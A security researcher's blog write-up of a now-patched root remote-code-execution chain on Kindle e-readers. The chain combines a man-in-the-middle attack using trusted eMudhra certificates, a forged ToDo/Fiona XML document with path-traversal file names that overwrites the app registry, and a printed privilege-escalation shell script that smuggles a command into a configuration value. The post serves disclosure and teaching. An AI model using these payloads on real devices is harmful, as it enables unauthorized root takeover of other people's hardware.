Article

TODO: Exploit ToDo

2026-11-14 20:46:47 +0000 UTC


Aaaaaaand I’m back! To put things simply, I was working towards an RCE exploit for Kindle e-readers, but unfortunately it was patched before I was able to report it (although, truthfully, this vulnerability was borderline out-of-scope). Honestly, I’m rather disheartened, because this was my first ever RCE or more “impactful” exploit, but I’m happy to have been able to get to this point.

I’m sharing it here now because someone might eventually find this interesting! Depending upon whether the core exploit gets patched or not, this could also be theoretically utilised in a future jailbreak*.

Before I begin, to avoid confusion, the name is a bad pun: the vulnerability lies within internal Kindle software called “todo”, so I entitled this exploit “TODO: Exploit ToDo”, as if it was a task to check off my bucket list - consider that done. From now on, I’ll refer to the exploit name as T:E, and the todo software as, simply, todo.

It has also come to my attention my previous SpringBreak writeup may have been poorly written and not very accessible to beginners, so I’m trying to write this in laymans terms (for some who isn’t as nerdy and absorbed into Kindles as I am…)

(Complex) TL;DR: T:E achieves root RCE by performing a MITM attack upon a Kindle device with eMudhra certificates, impersonating a ToDo “Fiona” proxy to trigger Kindle Store cache downloads and save arbitrary files to arbitrary filesystem paths via a path injection exploit to replace a system database triggering code execution upon a GUI restart (or, crash). A pre-existing LPE is then used to escalate privileges to root.

(The above was not an example of the aforementioned “laymans terms”; if you want a simpler explanation, that also goes into greater depth, read on!) And finally, stealing this from my friend Ava, the recommended song for this article is boredom, by Tyler the Creator. Put some headphones in!

When one door closes, another opens; but we often look so long and so regretfully upon the closed door that we do not see the one which has opened for us.

- Alexander Graham Bell

The Vector

The ‘vector’ of an exploit, simply put, is its entrypoint.

Perhaps you might have heard of the recent eMudhra scandal. If not, I heavily recommend you read the linked cloudflare article.

Emudhra meme where all modern digital infrastructure relies on the number ‘4’

(Pardon the stolen meme…) Anyway, immediately after hearing about this I decided to check if Kindles were vulnerable, and sure enough, they were. I went to https://emudhra.we-have-a-problem.com/ on the Kindle’s terrible little browser and sure enough, the intermediates table lit up with a bunch of ❌ emojis.

MITMProxy v12.3 added 2 new flags, --emudhra and --emudhra-old, which I used to sign HTTPS requests the Kindle will trust. I ran it in transparency mode, with the certificate flag, and SSH’ed into my jailbroken Kindle to forward all traffic to mitmproxy (it was, frankly, hellish to get an access point/hotspot working on my hardware).

After some poking and prodding, my setup was working flawlessly and I was intercepting and reading requests fine. This is how I found my target…

ToDo and Fiona

ToDo is a messaging service on Amazon Kindles. It queries a web server, known as the “Fiona proxy”, periodically. It can be invoked immediately by pressing the “sync” button on a Kindle device, and it also occurs when you connect to a Wi-Fi network (with a 2-minute cooldown if a probe has already happened). This is done to download XML documents that tell the device to perform certain tasks. Par exemple,

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<response>
    <total_count>1</total_count>
    <items>
        <item priority="300" type="RSET" action="REBOOT" key="DUMMY" is_incremental="false" sequence="0"></item>
    </items>
</response>

Can you guess what this does? Hopefully you said “reboot the device”, otherwise this is rather embarrassing. The fiona proxy sends back a list of “items”, each item having a type or category, and an action. They also have a priority to mandate how quickly the action should occur and a “key” so the proxy can uniquely identify items and the Kindle can report individual success on each item. The document can also mandate a next_pull_time tag in the response to mandate when a sync happens.

After this document is downloaded, ToDo decodes the XML, parses it into JSON, and hands it off to individual services for processing. For example, this REBOOT.RSET document would get handed over to the com.lab126.todo.kaf service, on the handleToDoItem property (this is done over Kindle-specific dbus known as “lipc” or lab126 inter-process-communication).

I digress. Whilst doing my initial MITM, I found most of these ToDo requests were rather mundane, simply asking for log uploads or “snapshots”. However, one day I reeled in this item (key and interceptorIndicator redacted):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<item priority="300" type="SCFG" action="SET" key="DUMMY" is_incremental="false" sequence="0">
      refreshcache.cacheStoreHtml.update.intervalInMinutes=1440
      refreshcache.cacheStoreHtml.wifionly=false
      cacheStoreHtml.url=https://www.amazon.co.uk/gp/digital/juno/index.html
      cacheStoreHtml.fileName=index.html
      refreshcache.cacheStoreJS.update.intervalInMinutes=0
      cacheStoreJS.url=
      cacheStoreJS.fileName=
      refreshcache.cacheStoreFile1.update.intervalInMinutes=1440
      refreshcache.cacheStoreFile1.wifionly=false
      cacheStoreFile1.url=https://www.amazon.co.uk/kindle-dbs/secondaryStore
      cacheStoreFile1.fileName=secondaryStore.html
      refreshcache.cacheStoreFile3.update.intervalInMinutes=0
      cacheStoreFile3.url=
      cacheStoreFile3.fileName=
      mesquite.interceptorIndicator=[Redacted Alphanumeric]
      cacheStoreHtml.forceUpdate=yes
      cacheStoreJS.forceUpdate=yes
      cacheStoreFile1.forceUpdate=yes
      cacheStoreFile3.forceUpdate=yes
    </item>

Turns out, SCFG stands for SYSTEM CONFIGURATION.

It lets you set items in a SQLite database located on the path /var/local/appreg.db (stands for app registry) on-device, specifically inserting data in the properties table under the handler ID “dcd” or “dcc”. These are variations of the word dynamic configuration, or dynconf, the binary and service which handles these ToDo documents.

When checking device logs, and my MITM logs, I noticed that this (after a short while) grabbed both URLs and downloaded them to the mandated “fileName” field using another binary, tmd (transfer manager daemon - a downloader background process). Something was reading those temporary values set on the database and simply passing the raw values over to this downloader.

From SpringBreak, I knew cache was downloaded to the path /mnt/us/.active_content_sandbox/store/resource/cachedResources/ (/mnt/us is userspace, the thing you see when you plug a Kindle into a computer.) On a whim, I decided to forge a request with the cacheStoreHtml.fileName key set to ../../../../../../var/local/test.txt.

…Lo and behold, it worked. This meant I had arbitrary file creation access to the entire /var/local/ partition and /mnt/us/. Unfortunately, the root filesystem is mounted as read-only by default and therefore I couldn’t write anything there - tmd would not let me. I’d like to note now that due to the nature of ToDo and Fiona, the Kindle must be registered for this exploit to work.

Putting it all together…

Right, so with this in mind, I wrote a simple MITMProxy python script. MITMProxy has a wonderful API that I used to automate proxy spoofing.

The eventual spoofed document looked like so:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<response>
    <total_count>2</total_count>
    <items>
        <item priority="1" type="SCFG" action="SET" key="LPE" is_incremental="false" sequence="0">
            refreshcache.cacheStoreFile1.update.intervalInMinutes=5
            refreshcache.cacheStoreFile1.wifionly=false
            cacheStoreFile1.url=https://www.amazon.co.uk/kindle-dbs/secondaryStore
            cacheStoreFile1.fileName=../../../../../../var/local/lpe.sh
            cacheStoreFile1.forceUpdate=yes
        </item>
        <item priority="2" type="SCFG" action="SET" key="APPREG" is_incremental="false" sequence="0">
            refreshcache.cacheStoreHtml.update.intervalInMinutes=5
            refreshcache.cacheStoreHtml.wifionly=false
            cacheStoreHtml.url=https://www.amazon.co.uk/gp/digital/juno/index.html
            cacheStoreHtml.fileName=../../../../../../var/local/appreg.db
            cacheStoreHtml.forceUpdate=yes
        </item>
    </items>
</response>

The only changes made, were that I used 2 separate items to set the system configuration keys to ensure they happened quickly, individually, and in order (in terms of priority). The “lpe” script item had to be downloaded first. This is because these download requests, as I mentioned before, get saved in appreg.db - the last download request is one that replaces that file, so if I tried to download anything after that the key would get lost: the keys all get set on the database simultaneously, but get fetched and downloaded in order, so all keys would be wiped when the database finished downloading and got overwritten by the new one.

After that, I simply listened for the two download URLs - “https://www.amazon.co.uk/gp/digital/juno/index.html", and “https://www.amazon.co.uk/kindle-dbs/secondaryStore". I could have used any URL at all, these are just the ones it usually uses and so I set these, and replace them. The first, I made return a modified appreg database I extracted from a Kindle - Paperwhite 11th (2022), 5.17.1.0.3. The second, the privilege escalation script, to gain root privileges. Both of these will be explained in the next section.

Finally, I also intercepted the fiona proxy endpoint where the Kindle reports success, so I could tell if the exploit had worked/if my forged document had parsed correctly directly from my computer.

Here is a PoC (proof-of-concept) MITMProxy python module.

The LPE

So how exactly did downloading those two files help you get code execution?, I hear you ask.

Well, the main Kindle UI is managed by a binary called KPPMainApp (Kindle++ Main App. Yes, amazon is incredibly imaginative). The appreg.db database, as its name suggests, is an app registry, and the UI is registered there. That’s how it’s launched, before the app itself takes over and interfaces with appmgrd (app manager daemon) directly.

Well, you can set “command” properties on certain app handler IDs, for example com.lab126.KPPMainApp. It was as simple as setting that to /bin/sh /var/local/lpe.sh, a command which executes our earlier placed LPE script.

The LPE script looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/bin/sh
if [ "$(id -u)" -eq 0 ]; then
    eips 1 1 "Pwned"!
    set-dynconf-value winmgr.vibrancyMode.pref.path ""
    exit 1
fi

set-dynconf-value winmgr.vibrancyMode.pref.path "\$(sh $0) #"
lipc-set-prop -s com.lab126.winmgr vibrancyMode "x"

/usr/bin/lipc-set-prop \
    com.lab126.appmgrd runresult \
    0:com.lab126.KPPMainApp

while true; do
    # Otherwise, a white screen will occur.
    /bin/sleep 3600
done

I won’t go into too much detail about how the LPE itself works, because it isn’t mine. It was created by h^9 and used in AdBreak, which I also reused in SpringBreak. In simple terms, it sets another “dynamic configuration” key to custom code and executes it by talking to com.lab126.winmgr over dbus (lipc). The reason I do not set this key in T:E itself when crafting my system configuration ToDo document is because I have no way to trigger the window manager, so the code wouldn’t be able to execute. (I could, actually, set the key in another SET.SCFG item earlier, but there isn’t much of a point.)

(If you want to challenge yourself, look for os.execute in the Kindle’s lua code to learn how it works for yourself.)

The rest of the code is just there to satisfy KPPMainApp; otherwise, it would whitescreen infinitely or constantly error. Thank you to katadelos (and somewhat Hackerdude) for figuring this out.

This lpe.sh script triggers when KPPMainApp starts. My proof-of-concept here just uses a reboot, and it will run - hypothetically, though, you could trigger the download of a bad book that crashes and restarts KPPMainApp without a reboot, though. In all my testing, I could not get REBOOT.RSET to run reliably after both downloads because todo actually reports success of these download documents happening before they finish downloading in full and therefore it would reboot prior to them finishing. This is despite setting priority.

Initially, I wanted to uncover my own LPE, but unfortunately as mentioned in the beginning, my vector got patched before I could get to it ;p. And this would be better used for other unreleased jailbreaks.

Download the modified appreg here, if you’d like - for PoC testing.

The Finale

And after ALL that, you get an exploit with root RCE privileges! Wasn’t too difficult, was it? 😅

Here’s the T:E overview diagram:

An overall exploit flow diagram

I calculate the CVSS v3.0 string to be AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.8, high). It is UI:R (user interaction = required) because you have to navigate to a menu to connect to a malicious Wi-Fi network or use a malicious DNS resolver with MITM. The eMudhra certificates (both AAA and emSign) have both been removed on firmware 5.20.2.0.1, so you are safe. I’m not sure of the minimum vulnerable firmware, but ToDo has been around for a while in the mesquite framework, so I assume fiona has been too (otherwise, ToDo would be pointless.)

If you enjoyed my work, or learnt something new, please consider donating. I’d greatly appreciate it: I’m saving up towards buying a new Kindle.

Happy exploiting! I sincerely hope you learnt something new. If you have any questions or suggestions, talk to me on discord - username penguins184.

*This vector combined with my previous jailbreak, SpringBreak, will be released under the name œuf (I think French sounds rather comical.) However, it will not use this specific chain/path traversal vulnerability. It does not, unfortunately, cover any more firmwares than Vera. Because it directly replaces the Kindle Store URL and doesn’t tamper with Fiona, it will not require registration, but is still UI:R.